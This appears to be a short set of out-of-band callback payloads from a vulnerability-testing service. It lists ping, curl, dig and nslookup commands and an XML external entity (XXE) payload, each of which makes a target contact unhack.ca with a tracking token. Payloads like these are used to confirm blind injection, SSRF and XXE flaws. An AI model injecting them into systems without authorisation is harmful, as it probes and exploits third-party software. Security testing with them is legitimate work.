$ ping -c1 -p 00533ee303a893f93cca0c12404c4800 unhack.ca
$ curl http://unhack.ca/p/533ee303a893f93cca0c12404c48
$ dig 533ee303a893f93cca0c12404c48 @unhack.ca
$ dig 533ee303a893f93cca0c12404c48.ns.unhack.ca
C:\> nslookup 533ee303a893f93cca0c12404c48 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/533ee303a893f93cca0c12404c48">]> <foo>&xxe;</foo>